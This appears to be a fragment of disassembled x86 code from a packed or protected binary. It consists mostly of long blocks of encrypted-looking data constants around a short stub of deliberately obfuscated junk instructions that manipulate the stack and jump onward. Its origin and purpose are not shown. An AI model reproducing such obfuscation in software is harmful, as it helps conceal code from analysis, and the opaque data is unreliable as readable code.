		dd 24E23351h, 72B24A22h, 0A0F86FF2h, 54B9D71Fh,	137A5ECFh
		dd 0B89AF931h, 0BA000001h, 51025373h, 0EB9CED77h, 86378810h
		dd 1FD021ADh, 0DE6CBD43h, 0C64C28CDh, 64E6C475h, 1856213h
		dd 99B7FFB0h, 0CE0D9B48h, 37ED1178h, 92C6C49Ah,	0BABD1150h
		dd 6DDD31C2h, 3E96B4FCh, 0AF5775BDh, 0A3216B00h, 0EECD5764h
		dd 2463A537h, 37EEA9AEh, 0BC2880F0h, 6338A96Eh,	15751E71h
		dd 0AD26AFC4h, 90D62C6Bh, 601637EEh, 93E27C0Bh,	0F44CBC18h
		dd 68E630C5h, 0C280AC29h, 30DC4C31h, 0EDD87125h, 0EE6D6FE6h
		dd 3080289Fh, 0D7BB407Eh, 5DE0DDD9h, 0F741D605h, 160D3A79h
		dd 5DCDF2A5h, 277106B5h, 0E62567A9h, 0FAB56490h, 5FEA42B2h
		dd 0FC859FF3h, 8884CC01h, 0FD59BECBh, 2C9DFD3Ah, 3424CC4Eh
		dd 820070DCh, 4BBFFE40h, 76E065B7h, 7B6B139Bh, 0BDFAD11Fh
		dd 3A93BC14h, 0B90182DAh, 578C4A9Bh, 1899F10Fh,	0A0A3D4D0h
		dd 3C71C0E9h, 40A677DCh, 124A0FDEh, 0BEB3h, 5979C000h
		dd 0F37D5708h, 8E16F1A2h, 27B38C3Dh, 0C34925D6h, 2ECBE472h
		dd 0CA7BCC52h, 68196AECh, 5B6078Bh, 0A14E9FBDh,	167ED413h
		dd 0CAA037EDh, 39579FCCh, 34DE291h, 8E044385h, 0D031C2BAh
		dd 8EEE724Fh, 6466A836h, 0B6E3BF45h, 4FDA32DAh,	37EE09CEh
		dd 49D3AD2Eh, 5C366BE9h, 0BA197AD2h, 1E5DDB25h,	31DF40C6h
		dd 3F40E858h, 595BD9F7h, 0CB49BC33h, 76D72F45h,	0B75F7DC5h
		dd 194839ACh, 0FE99E265h, 0FD7B99E1h, 0F67EBC8h, 0DDBBF0AEh
		dd 3A82035Bh, 9A73741Ch, 435C660Eh, 7438B44h, 1D0B72C8h
		dd 0C4249472h, 0A580B573h, 2D85751Dh, 0ED3564ACh, 68C76FCFh
		dd 3, 9FBDF77Ah, 8F903858h, 80812947h, 76771FA3h, 6D6E1698h
		dd 62630B91h, 57580086h, 494AF27Eh, 3D3EE66Eh, 1531D963h
		dd 397A68h, 24248900h, 4BD55h, 6C010000h, 685D0424h, 694Ch
		db 89h,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ecx
		push	edx
		mov	edx, 579E1691h
		mov	ecx, edx
		pop	edx
		shr	ecx, 4
		add	ecx, 0B5C0B5h
		mov	ebp, ecx
		pop	ecx
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	197Fh
		mov	[esp], ebp
		pop	dword ptr [eax+8]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5017CA
; ---------------------------------------------------------------------------
		dw 0BF85h
		dd 6642F787h, 0F9DDFAFDh, 0B630F22Dh, 2FADC2B8h, 0FFC50306h
		dd 0CD955EE0h, 0B797047Ah, 1ACE0B05h, 0A7384277h, 0DB0DB261h
		dd 8EB8B77Bh, 3609E6Dh,	0F2B1E22Fh, 0D9D6490Dh,	0FE4C384Dh
		dd 0E0B9583Fh, 70ADEC65h, 195A2710h, 6FEFA121h,	0D2E99527h
		dd 0F9EA3212h, 0ACFD7208h, 4AEFA072h, 0BD9B8206h, 40EF9039h
		dd 7AB45D62h, 56467621h, 1963B872h, 83D0B176h, 75D27E40h
		dd 26FA0976h, 379F2B01h, 0FE87Eh, 45410000h, 0F6EE8013h
		dd 9D42CCD9h, 228DF298h, 0DCBFB8A0h, 535B24F4h,	840Fh
		dd 81590000h, 60D9C3h, 1801BA00h, 14E80000h, 0F3000000h
		dd 38A10075h, 4645F240h, 5E263AA2h, 0E598B664h,	60B4D0B2h
		dd 0DE9h, 0DC531200h, 5D1D503Ah, 503D2121h, 0CF81B806h
		dd 9FC9B1Fh, 33FF5861h,	81C18B5Eh, 217CAEEEh, 0E8C68145h
		dd 600C846Bh, 38E0Fh, 8B660000h, 53C281D3h, 6105E992h
		dd 9A6BC681h, 9E90D86h,	79000000h, 0CB8DE535h, 837FD023h
		dd 81663389h, 837246E7h, 0B86604EBh, 0F4ADF92h,	1885h
		dd 0E91CB000h, 2Bh, 275044F4h, 96992BC5h, 0D032138Fh, 44DA8634h
		dd 8C01B9EEh, 93E90C96h, 62FFFFFFh, 0F363F595h,	514B3A79h
		dd 0F9CDB8D2h, 0E9314ABDh, 75h,	0D88C6660h, 840F04A8h
		dd 35h,	0B5FF016Ah, 62C1671h, 860C858Dh, 0D0FF062Fh, 29158589h
		dd 0FE8B062Ch, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 62C2915h,	32E9h, 0AD85C600h, 56062C21h, 0C530DF68h
		dd 3DB5FFA9h, 8D062C07h, 2F860C85h, 89D0FF06h, 2C05E185h
		dd 8D858D06h, 50062C0Fh, 56A206Ah, 0E195FF56h, 61062C05h
		dd 6E0C1C3h, 39EBh, 2CC00BCh, 2E400BCh,	0BCh, 34C30000h
		dd 389CB888h, 30848991h, 3481DD80h, 7316B08Bh, 5DD1B181h
		dd 119A89ABh, 2921DDA9h, 33D2ADAAh, 38A9B5B1h, 3DEDB984h
		dd 0B5A1DD8Fh, 5D7BDDE6h, 27E82C5h, 59FAA16Ch, 594B9964h
		dd 5DB7DDF3h, 0C7188AA2h, 0DC8B1A60h, 0D66FF924h, 0D7BB725h
		dd 5DBDDE0Dh, 9E86FDE5h, 792B54BDh, 79F35CE1h, 5DDBC5E1h
		dd 9EBD9DE5h, 89BA6056h, 5D743585h, 9890DDE5h, 0DF6DD81Ch
		dd 69A47D54h, 84A563B6h, 3F64BB05h, 0E06E83F7h,	5BDAC080h
		dd 0DE72A8E5h, 719E0458h, 44AADDE3h, 9DE48EB5h,	5DB3645Dh
		dd 0CC5E54E5h, 0D0EBF1E3h, 7347B178h, 6A822E3h,	84005EBDh
		dd 5DD8F1C6h, 0E3FCA91h, 5DB3645Dh, 0CC5E54E5h,	0D0EBF1E3h
		dd 73588678h, 6A822E3h,	0CBDB7BDh, 5DDEDE0Dh, 9E36FDE5h
		dd 79FB54BCh, 799F5CE1h, 5DEDC4E1h, 9EA79CE5h, 0FAE61662h
		dd 0C034B0DCh, 5BF2CD48h, 5D6FDA0Ch, 676B8EE5h,	7C86C0B5h
		dd 5CC0686Ch, 9D7DDBC9h, 5B22506Ch, 0D87BDBC9h,	5BF2FC48h
		dd 0B6FB7B3h, 5DB7DE0Dh, 9E85FDE5h, 799954BBh, 79B25CE1h
		dd 5D7BC4E1h, 9EEB9BE5h, 623D761Ch, 0BF07AA62h,	0DC059255h
		dd 556BF9D1h, 5D87F302h, 5DF535B0h, 5BDDE5h, 31348026h
		dd 195FD9C1h, 5D72D9C1h, 8F2DDE5h, 74D66726h, 664AF2A8h
		dd 0B5BB8AEFh, 5D7BDDF6h, 0E531B577h, 233AC192h, 35025923h
		dd 949D0CB4h, 0E418C624h, 2D7E6BFEh, 604322BFh,	377DF1E2h
		dd 5E558DE5h, 7DDEDDE5h, 0D4371EBDh, 0DCB3F9A1h, 49DFF9A1h
		dd 1DEDDDE5h, 0D4901EB5h, 7171EC60h, 513850E3h,	0DCD8F263h
		dd 3350772Ah, 376722E8h, 2A62BBE1h, 9F47B517h, 0D96FDFBh
		dd 5D7BD50Ch, 2BEA80E5h, 0A9866D77h, 0DC0E8695h, 8F1DF9D1h
		dd 5DB1FDFBh, 5DEE35B3h, 3D6DDE5h, 29F28326h, 193CD9C1h
		dd 5DC2D9C1h, 0B29DDE5h, 210DE726h, 24A9E891h, 590506FEh
		dd 0B1F6DDE5h, 0B47BDDE7h, 5DBDDDEFh, 16C7D5C7h, 41AD920Bh
		dd 3BE7FAA4h, 0D6F4A15Ch, 3DE9F9A1h, 5DF356EAh,	6AC0DDE5h
		dd 3CFEA154h, 0AE55DD6Eh, 594B996Ch, 5DB751EAh,	3783DDE5h
		dd 5E058CE5h, 7DF6DDE5h, 0D4221EBCh, 0DCB9F9A9h, 46DAF9A1h
		dd 1C6FDDE5h, 10021EB4h, 6B2EFBE6h, 53054B9Dh, 0A5F6DDE5h
		dd 0A1696E70h, 0B0EAF7BAh, 28B59F7Fh, 0A3D0D2EDh, 37B7B7BAh
		dd 5E338BE5h, 7DEDDDE5h, 0D4A81EBBh, 0DC7FF991h, 4BB9F9A1h
		dd 1BDEDDE5h, 0E8031EB3h, 5DA634A9h, 8865DDE5h,	4025D1A7h
		dd 5B96FAA0h, 26B269ADh, 0E8D8509h, 47EF48CCh, 0A235DBC9h
		dd 0DB7B735h, 5DDBDE0Dh, 9EB5FDE5h, 79B254BDh, 793F5CE1h
		dd 5DBDCBE1h, 9E8E9DE5h, 0B4CE90D6h, 5DB7DDF7h,	2B122454h
		dd 25789AA9h, 15BA2C8Ah, 0B399286Fh, 0E2B2AE65h, 0D8572117h
		dd 5B406DF1h, 0B5E2DD8Fh, 5DDBDDE6h, 2E80C5h, 59D2B16Ch
		dd 595F9964h, 5DBDDDFDh, 9F1D88A0h, 0CE003744h,	5AFE686Eh
		dd 0D9D4DBC9h, 5DEDDDE7h, 0A57D166Eh, 5D7911E0h, 453854E5h
		dd 0DED8F255h, 0D8E6C525h, 5B986DF9h, 0B1621DD6h, 0AEEDDDE7h
		dd 0CF6B74Fh, 5D7BDE0Dh, 9EE4FDE5h, 799254BCh, 792B5CE1h
		dd 5DB7C1E1h, 9E8A9CE5h, 51EF0F86h, 4DC48EEDh, 4DF4D21Fh
		dd 0B4BDDDE5h, 5DDEDDEEh, 78388F49h, 0ABC41DF8h, 3B642671h
		dd 79B21F64h, 7C5B5823h, 3738DBC9h, 5E558FE5h, 7DDEDDE5h
		dd 0D4351EBFh, 0DCB3F9B1h, 40DFF9A1h, 1FEDDDE5h, 68A1EB7h
		dd 0D3CF9A20h, 342D531Ah, 43991264h, 5987A7FFh,	3B7DDE5h
		dd 3B47BA8Eh, 0D2EDB5Ch, 5DF45AEAh, 0A3F0DDE5h,	5999996Eh
		dd 0E7B88FB5h, 6C6057DFh, 5DB7C90Ch, 0E8CB4EE5h, 16C3E86Dh
		dd 0CF55AA20h, 0D1D1101Eh, 6971F627h, 0D6868747h, 0F8D58EE5h
		dd 3895CC4h, 59FF996Ch,	5175683h, 78395C85h, 0D67DB841h
		dd 719CE860h, 0E821BCE3h, 5B43DAD8h, 699A686Eh,	0D856DBC9h
		dd 5BC25BE9h, 0B5A4DD8Fh, 5D7BDDE6h, 77E87C5h, 59FA896Ch
		dd 594B9964h, 5DB7DDF9h, 54188FA7h, 0E382C2EAh,	8A218B73h
		dd 5D7BD70Dh, 1FBC25E5h, 62FEDA65h, 3BB20CDFh, 88792A64h
		dd 370B22BBh, 5E0588E5h, 7DF6DDE5h, 0D4261EB8h,	0DCB9F989h
		dd 4ADAF9A1h, 186FDDE5h, 0AB271EB0h, 0D852893Eh, 5BC1F9F8h
		dd 0D87B2C6Eh, 5B57D4FCh, 0B5ECDD8Fh, 5DDEDDE6h, 4AC84C5h
		dd 5993916Ch, 59FF9964h, 5DEDDDFFh, 0E9358CA4h,	883E4690h
		dd 0D8348482h, 5BF2FE78h, 575A50E4h, 0D871DBC9h, 5BF7FC48h
		dd 0DEDB7B6h, 5DF6DE0Dh, 9E23FDE5h, 79F954BDh, 799A5CE1h
		dd 5D6FC6E1h, 9EE79DE5h, 0DF3798A5h, 652C4901h,	0C5045C83h
		dd 8EE5483h, 35BBF1CEh,	0D553FD3Dh, 5D6FD20Dh, 0E83A8AE5h
		dd 0FF4BBC06h, 0F491F8F1h, 0D7F4C58Ah, 0D61D8FB5h, 0B58CD215h
		dd 5DDEDDE9h, 0ED322E9h, 0E599CDA3h, 76BF445Ch,	2B587BCh
		dd 5DD2D964h, 370FF9CDh, 5E558FE5h, 7DDEDDE5h, 0D4351EBFh
		dd 0DCB3F9B1h, 41DFF9A1h, 1FEDDDE5h, 2B561EB7h,	88FB5D00h
		dd 52165951h, 5DDEDB6Ah, 4FA56E5h, 3BB1F1FBh, 0E8240E6Eh
		dd 5BC1DAD8h, 0B5A4DD8Fh, 5D7BDDE6h, 77E87C5h, 59FA896Ch
		dd 594B9964h, 5DB7DDFDh, 0FD188FA7h, 0C159B0FDh, 0DBFA5868h
		dd 5D11DBCAh, 5DBE35B4h, 4FEDDE5h, 11E68426h, 1936D9C1h
		dd 5DC7D9C1h, 0CACDDE5h, 0F2F3F026h, 328DA1F9h,	0E836938Ah
		dd 5BF2CC54h, 0A29562EAh, 880A5635h, 0D4DDF1EEh, 71CB6C60h
		dd 0AF6B7E3h, 5D7BDE0Dh, 9EE2FDE5h, 79A254BAh, 792B5CE1h
		dd 5DB7C1E1h, 9E8C9AE5h, 6FE71164h, 28E340A4h, 8FFABBF7h
		dd 0D87B1BA3h, 5BF2FC48h, 0B6FB7B6h, 5DB7DE0Dh,	9E85FDE5h
		dd 799954BBh, 79B25CE1h, 5D7BC6E1h
		dd 9EEB9BE5h, 81CC0ECCh, 10034D2Eh, 8FA8688Dh, 79DF5CB8h
		dd 27AB791Bh, 0B5A7DD8Fh, 5D7BDDE6h, 47E84C5h, 59FA916Ch
		dd 594B9964h, 5DB7DDF8h, 40188CA4h, 0EE47E7FBh,	0E32E3CDCh
		dd 0A2B4562Ch, 71BAE050h, 0ADEB7E3h, 5D6FDE0Dh,	9EE8FDE5h
		dd 79A754BAh, 79A95CE1h, 5DF6C6E1h, 9E2C9AE5h, 2BF83F27h
		dd 0DC7DE155h, 0D8E20D6Eh, 5B985BE9h, 4BFA606Ch, 8D12DBC9h
		dd 0B5A3DD8Fh, 5D7BDDE6h, 7E80C5h, 59FAB16Ch, 594B9964h
		dd 5DB7DDF3h, 0F21888A0h, 55041F94h, 10F6DDE5h,	0F62F5264h
		dd 0D41C2A99h, 71C71460h, 0BDD1BBE3h, 440A564Ah, 9BDDF1EAh
		dd 71CC7060h, 5D9C9AE3h, 5D7835B3h, 39DDDE5h, 29578326h
		dd 19EED9C1h, 5DA3D9C1h, 0B9DDDE5h, 0C0643726h,	5BDAD308h
		dd 59F9D285h, 3BBDDDE5h, 3B4AD15Ah, 350E1E6Eh, 1386CF91h
		dd 42856B3h, 68C9D964h,	529F702Eh, 5D7BDB6Fh, 4C38DCE5h
		dd 0A2D8F1F1h, 7168E050h, 0FB7B7E3h, 5DDBDE0Dh,	9EB7FDE5h
		dd 79A254BFh, 793F5CE1h, 5DBDC1E1h, 9E8C9FE5h, 0B538A2E1h
		dd 79C2D0Fh, 5B5ED2DDh,	0D6EDDDE5h, 71EC8868h, 68F654E3h
		dd 0D0BBF1F6h, 7258D160h, 0F8F254E3h, 0A2B1F1F4h, 78A8E35h
		dd 586854BBh, 37F0F1CCh, 5E938CE5h, 7DBDDDE5h, 0D4871EBCh
		dd 0DC6BF9A9h, 40B3F9A1h, 1CDBDDE5h, 0DB971EB4h, 0FA55A7D5h
		dd 7C772CCAh, 7C105823h, 3D99DBC9h, 0B4AC5683h,	5DB7DDF5h
		dd 583D9102h, 0E6A6A94Fh, 0A1E5FC3Ah, 0E12265ABh, 5DB93584h
		dd 4DA4DDE5h, 57875C39h, 0FEB7DDE5h, 626EACBDh,	0C1B01B5Ch
		dd 5DFF3510h, 0B33BDDE5h, 0C0E8EF53h, 0D310BA4h, 0D3687BAh
		dd 6F41135Fh, 799F56C0h, 0FB57BBE1h, 0B5F6568Bh, 5D7BDDEBh
		dd 0D6264E9Dh, 0C6E11A1Dh, 464FDE62h, 0D6D1B0F5h, 1952871Ch
		dd 37B5D9C1h, 5E1E8DE5h, 7D7BDDE5h, 0D4E51EBDh,	0DCDAF9A1h
		dd 476BF9A1h, 1DB7DDE5h, 6A01EB5h, 0C44D32AFh, 60432208h
		dd 377DF1E2h, 5E558BE5h, 7DDEDDE5h, 0D4311EBBh,	0DCB3F991h
		dd 40DFF9A1h, 1BEDDDE5h, 84701EB3h, 239E9119h, 0E5CE5F30h
		dd 8D69D21Dh, 0D09C6AEAh, 7231D160h, 5DDC35E3h,	2761DDE5h
		dd 0FA360C22h, 7A85607h, 5DD70D1Ah, 5DDD35B2h, 24FDDE5h
		dd 213E8226h, 195AD9C1h, 5DFAD9C1h, 0AB1DDE5h, 0B5077326h
		dd 0C000567Ch, 0B4D8F1C1h, 5D6FDDF4h, 87DCC40Dh, 0D434B4D2h
		dd 4B008681h, 23BBE350h, 0D8F2BD68h, 5B91CCD8h,	6CD3686Eh
		dd 0D40EDBC9h, 71B71C60h, 0BDBB7E3h, 5DEDDE0Dh,	9EA8FDE5h
		dd 790F54BBh, 79F95CE1h, 5DDECBE1h, 9E399BE5h, 74F27525h
		dd 71D36C70h, 0F0681BE3h, 1AF0F1C4h, 0B528DD8Fh, 5DBDDDE6h
		dd 61D86C5h, 594B816Ch,	59939964h, 5DDBDDF2h, 8D2E8EA6h
		dd 0B4F3CDA6h, 5D7BDDEEh, 0A0C4E123h, 0D35A7406h, 0B5D617EAh
		dd 5DB7DDE1h, 0F716E1B8h, 6CE28FB5h, 0D6908FB5h, 0D64AD21Ch
		dd 7E58715h, 0F8E8DBDh,	3B39ECEAh, 306745Ah, 195085BFh
		dd 528DD9C1h, 5DF6C568h, 5D6834E5h, 0FEB3DDE5h,	0D3140FBEh
		dd 0B81A7B50h, 37A8B928h, 38B8FAEBh, 0E38BBDDFh, 3C97DC21h
		dd 7ECDDD6Eh, 5999996Ch, 0BDEB7BDh, 5D6FDE0Dh, 9EE9FDE5h
		dd 79AF54BBh, 79A95CE1h, 5DF6C9E1h, 9E2D9BE5h, 5B3CD2E6h
		dd 0D4DEDDE5h, 715F2C50h, 600222E3h, 37DDF1E2h,	5E058EE5h
		dd 7DF6DDE5h, 0D4201EBEh, 0DCB9F9B9h, 46DAF9A1h, 1E6FDDE5h
		dd 25641EB6h, 177632E8h, 0E86401E4h, 5BDAF1F4h,	7C82586Ch
		dd 0E7DBDBC9h, 0D853ED7Bh, 5B405BE9h, 13516283h, 5DB10D1Ah
		dd 5DEE35B5h, 5D6DDE5h,	19F28526h, 193CD9C1h, 5DC4D9C1h
		dd 0D2FDDE5h, 0B5BBBF26h, 0FFB61BACh, 5C48606Eh, 0D87FDBC9h
		dd 5B57C760h, 0A2465683h, 0B264BB35h, 8EA541Eh,	37B1F1E9h
		dd 5E338CE5h, 7DEDDDE5h, 0D4AF1EBCh, 0DC7FF9A9h, 44B9F9A1h
		dd 1CDEDDE5h, 0E1DC1EB4h, 0D8E23762h, 6C9A58CCh, 52BADBC9h
		dd 5DF6DD68h, 0D11D83E5h, 0F603BD3Dh, 3CDF6DC5h, 5D05D9C1h
		dd 5DB435B6h, 6FBDDE5h,	1648626h, 1977D9C1h, 5D66D9C1h
		dd 0EFEDDE5h, 635F2726h, 0DD48F884h, 57992057h,	0B75FD225h
		dd 37EDDDE7h, 5E1E8CE5h, 7D7BDDE5h, 0D4E41EBCh,	0DCDAF9A9h
		dd 416BF9A1h, 1CB7DDE5h, 942B1EB4h, 0E2F802EAh,	9B345DF2h
		dd 715A7060h, 5DD792E3h, 5DDD35B5h, 54FDDE5h, 193E8526h
		dd 195AD9C1h, 5DF0D9C1h, 0DB6DDE5h, 0B675BB26h,	585B9102h
		dd 0DD95A94Fh, 1C07DE30h, 0DC5F370Ah, 0DE5EF9D1h, 0C8668A8Fh
		dd 5BDAD45Ch, 5A46681Ah, 5DD7DBC9h, 5DDD35B7h, 74FDDE5h
		dd 93E8726h, 195AD9C1h,	5DFBD9C1h, 0FB4DDE5h, 0CC84CA26h
		dd 5140406Ch, 0D853DBC9h, 5B405BE9h, 4F26406Ch,	8D24DBC9h
		dd 9D6EFD50h, 0EF6B7C1h, 5D7BDE0Dh, 9EE6FDE5h, 798254BEh
		dd 792B5CE1h, 5DB7C6E1h, 9E889EE5h, 0C1EEBEE0h,	4ACF7C46h
		dd 42A2686Eh, 0D834DBC9h, 5BF2E980h, 0A885C83h,	832562Fh
		dd 37DDF1E9h, 5E058DE5h, 7DF6DDE5h, 0D4231EBDh,	0DCB9F9A1h
		dd 4ADAF9A1h, 1D6FDDE5h, 55B91EB5h, 0E0529E70h,	5BC1EF74h
		dd 4773406Eh, 5D11DBC9h, 5DBE35B4h, 4FEDDE5h, 11E68426h
		dd 1936D9C1h, 5DCCD9C1h, 0CACDDE5h, 0C2199226h,	0D0F29EB9h
		dd 5B91D540h, 5DB4C66Eh, 5D6C35B0h, 97DDE5h, 31528026h
		dd 196CD9C1h, 5DEDD9C1h, 83EDDE5h, 59F29D26h, 5377004Fh
		dd 8ED6BB41h, 54AC5679h, 71C2BC60h, 37F656E3h, 5E1E8FE5h
		dd 7D7BDDE5h, 0D4E71EBFh, 0DCDAF9B1h, 406BF9A1h, 1FB7DDE5h
		dd 98531EB7h, 0F9AED9B3h, 10CAF79h, 0D0EE5685h,	3CBBF1CEh
		dd 5DB405D6h, 5D6C35B6h, 697DDE5h, 1528626h, 196CD9C1h
		dd 5DEFD9C1h, 0E38DDE5h, 26D12B26h, 0D4AC6584h,	7164EC78h
		dd 0E83E8BE3h, 5BF7F688h, 0F0681BBBh, 1AF0F1C4h, 0B529DD8Fh
		dd 5DBDDDE6h, 71D87C5h,	594B896Ch, 59939964h, 5DDBDDF3h
		dd 0A72E8FA7h, 350AAEDDh, 0E121638Ah, 693C84B6h, 0D9BD1BC1h
		dd 0DCE254EEh, 0A2B1F1FAh, 71DCE050h, 0AEDB7E3h, 5DF6DE0Dh
		dd 9E24FDE5h, 79C154BAh, 799A5CE1h, 5D6FC8E1h, 9EE09AE5h
		dd 0E8F0CBE8h, 5BC1FED4h, 851C5C83h, 51FE50AFh,	0E2BBF263h
		dd 3F05EE6h, 5D6FD40Ch,	63BD6DE5h, 63F059D1h, 8D12BC8Eh
		dd 0D4B30C65h, 7152D860h, 5DA934E3h, 295ADDE5h,	3B398A58h
		dd 7139FEECh, 1DBA2EAEh, 0E8720320h, 0E4B61A18h, 210ADB28h
		dd 5DD7DD6Eh, 5DDD35B5h, 54FDDE5h, 193E8526h, 195AD9C1h
		dd 5DFBD9C1h, 0DB6DDE5h, 0BA816226h, 5E9B3F64h,	5D55B743h
		dd 0B53ADD8Fh, 5DB7DDE6h, 1880C5h, 59C9B16Ch, 59D29964h
		dd 5D7BDDF2h, 237E88A0h, 0D463DB5Ah, 71422870h,	0A83254E3h
		dd 37DDF1C6h, 5E058AE5h, 7DF6DDE5h, 0D4241EBAh,	0DCB9F999h
		dd 4ADAF9A1h, 1A6FDDE5h, 68161EB2h, 0DCBD4DF8h,	0B4CF052Ch
		dd 5DF6DCACh, 0D33F435Ah, 673850F6h, 37D8F255h,	5E878CE5h
		dd 7DB7DDE5h, 0D4821EBCh, 0DCE9F9A9h, 40F2F9A1h, 1C7BDDE5h
		dd 2DA31EB4h, 7A05AAE8h, 90A03CC3h, 5DB935B5h, 6D71DDE5h
		dd 7AEC8AFBh, 205B15D9h, 68880218h, 0A8466783h,	79DA54BAh
		dd 31F51264h, 0C848BF5Fh, 5BF7FBE0h, 5DEDCE0Ch,	0B41163E5h
		dd 0CDA581ECh, 0E9D69EFCh, 0A3549E27h, 0AC113407h, 0EDF74068h
		dd 7564DBCAh, 0CEFCFD7Bh, 0DA60B6Eh, 0B5298DB7h, 5DBDDDE0h
		dd 0C579DB3Ch, 6C608319h, 5ED0A6Fh, 5633ECEAh, 4EDDDE5h
		dd 8C334897h, 1D659E53h
		dd 0DFB2F9BDh, 5DDEDDE5h, 0CE3787BCh, 0B5E6DD8Fh, 5DDBDDE6h
		dd 42E84C5h, 59D2916Ch,	595F9964h, 5DBDDDFCh, 0D01D8CA4h
		dd 7BCC76DCh, 0ED78D70h, 6CD48FB5h, 0DB285BFh, 52A48DB7h
		dd 522387D4h, 3CE587D4h, 52FAD96Ch, 0C8902D52h,	5B9BDCF4h
		dd 5DDBCE0Ch, 0D284CAE5h, 0BB007849h, 0E7D107Ah, 0CEBEF595h
		dd 47C5EF91h, 690A586Ch, 5DDDDBC9h, 5DD835B5h, 5CDDDE5h
		dd 197F8526h, 19FAD9C1h, 5DA0D9C1h, 0D9EDDE5h, 17449D26h
		dd 274FF5BAh, 5245C53Eh, 5DEDD167h, 5DF134E5h, 9F42DDE5h
		dd 0C8BA86B3h, 0F05B1B5Dh, 0E69F1C4h, 0B5E4DD8Fh, 5DDBDDE6h
		dd 62E86C5h, 59D2816Ch,	595F9964h, 5DBDDDFCh, 711D8EA6h
		dd 0AEB5022Bh, 0D5DF24A3h, 0DCAC522Dh, 0E61AF9E1h, 5D9CEF12h
		dd 5D7835B4h, 49DDDE5h,	11578426h, 19EED9C1h, 5DABD9C1h
		dd 0C9ADDE5h, 0CB49A26h, 0DB4882D5h, 0C0F2B559h, 5B91D228h
		dd 5AE3681Ah, 0E309DBC9h, 0D83A42B1h, 5BF45BE9h, 56C0606Ch
		dd 8D09DBC9h, 5D77341Dh, 2D90DDE5h, 1436D187h, 52CDB023h
		dd 0D83E3ADBh, 5BF7D86Ch, 5DEDCD0Dh, 12E3F2E5h,	1477C466h
		dd 0C07E9157h, 6B4F518Ah, 0C8E68E19h, 5B9BC3E0h, 0D81D82BAh
		dd 5BC1FC48h, 0EF6B7A2h, 5D7BDE0Dh, 9EE6FDE5h, 798254BEh
		dd 792B5CE1h, 5DB7CAE1h, 9E889EE5h, 0BE5E49EBh,	515758E4h
		dd 0E0F0DBC9h, 5B91CE64h, 49FF48CCh, 5987DBC9h,	0CDB7DDE5h
		dd 3B7AAFF0h, 3BBD0B6Eh, 0D6FAB05Ch, 3B7FF9A1h,	5D362F6Eh
		dd 0B71FE25Fh, 792B54D1h, 5DDD85E1h, 5DD835B6h,	6CDDDE5h
		dd 17F8626h, 19FAD9C1h,	5DA7D9C1h, 0E9DDDE5h, 42D68B26h
		dd 0CBE11A8Ch, 5AE6681Ah, 0DD54DBC9h, 6CDD52BAh, 7173B470h
		dd 513850E3h, 37D8F263h, 5E878FE5h, 7DB7DDE5h, 0D4811EBFh
		dd 0DCE9F9B1h, 41F2F9A1h, 1F7BDDE5h, 77B21EB7h,	0D9C53982h
		dd 0B4E54FC5h, 5DB7DDF1h, 0A7378033h, 752C79F3h, 8DFBB69Fh
		dd 9680CDDCh, 72684064h, 5DB40D1Ah, 5D6C35B4h, 497DDE5h
		dd 11528426h, 196CD9C1h, 5DE1D9C1h, 0C3ADDE5h, 848D2626h
		dd 5B5DD213h, 0D46FDDE5h, 71939C60h, 0AF6CD2E3h, 5550586Ch
		dd 4D1EDBC9h, 0C7BDDE5h, 0CD883FF7h, 7E87C4B3h,	7274303Bh
		dd 0B49FD380h, 5DDBDDE3h, 7B55288Dh, 9BA82F49h,	715A7060h
		dd 843C8EE3h, 0A66F3BDh, 0BF96138Dh, 490D622Eh,	695AC921h
		dd 864B83C1h, 0DF6B7B7h, 5D7BDE0Dh, 9EE5FDE5h, 799A54BDh
		dd 792B5CE1h, 5DB7CAE1h, 9E8B9DE5h, 0F697B595h,	5B27406Ch
		dd 0E884DBC9h, 5B91DAD8h, 0B58BDD8Fh, 5D6FDDE6h, 7480C5h
		dd 59FFB16Ch, 59C99964h, 5DF6DDF0h, 88B888A0h, 808F4EAh
		dd 0A4D8F1C8h, 0DB635868h, 0E0B6DBCAh, 5BF7D530h, 5D870D1Ah
		dd 5DF535B5h, 55BDDE5h,	19348526h, 195FD9C1h, 5D7AD9C1h
		dd 0DF7DDE5h, 6C63F026h, 71F09858h, 0D87F25E3h,	5B57C810h
		dd 0B5ECDD8Fh, 5DDEDDE6h, 4AC84C5h, 5993916Ch, 59FF9964h
		dd 5DEDDDF3h, 24358CA4h, 0D8BDA912h, 5B91FC48h,	8DEB7B2h
		dd 5D6FDE0Dh, 9EEAFDE5h, 79B754B8h, 79A95CE1h, 5DF6C1E1h
		dd 9E2E98E5h, 599BBDE2h, 0A2348CF6h, 694AB52Fh,	5936EF75h
		dd 29C63CC1h, 0EEDB7B8h, 5DF6DE0Dh, 9E20FDE5h, 79E154BEh
		dd 799A5CE1h, 5D6FC5E1h, 9EE49EE5h, 5FBBDEA2h, 605822E7h
		dd 5CF0F1E2h, 7157C460h, 513850E3h, 37D8F263h, 5E878BE5h
		dd 7DB7DDE5h, 0D4851EBBh, 0DCE9F991h, 45F2F9A1h, 1B7BDDE5h
		dd 66461EB3h, 0A222FC1Bh, 0D6FB735h, 5DB7DE0Dh,	9E83FDE5h
		dd 79A954BDh, 79B25CE1h, 5D7BC6E1h, 9EED9DE5h, 454F4BF6h
		dd 7CD91261h, 7CB648CCh, 0D852DBC9h, 5BC1D920h,	4837606Eh
		dd 0D8BDDBC9h, 5B91FC48h, 5DCC34A6h, 8EC3DDE5h,	7150D662h
		dd 0F0C93797h, 8A9156AAh, 6065C708h, 0CD5D28Dh,	5DBB3450h
		dd 10ACDDE5h, 9501856Fh, 7A93E964h, 0EFD21C3Bh,	60582292h
		dd 0EF0F1E2h, 6FBA5C83h, 0D8308321h, 5BF15BE9h,	0D8FA54B6h
		dd 2B1F1E1h, 5DB10D1Ah,	5DEE35B4h, 4D6DDE5h, 11F28426h
		dd 193CD9C1h, 5DC5D9C1h, 0C2EDDE5h, 0EBEB3C26h,	0B9A85305h
		dd 0D43A56C2h, 71E77060h, 0C7BB7E3h, 5DBDDE0Dh,	9E87FDE5h
		dd 792354BCh, 79F35CE1h, 5DDBCBE1h, 9EBC9CE5h, 527016BFh
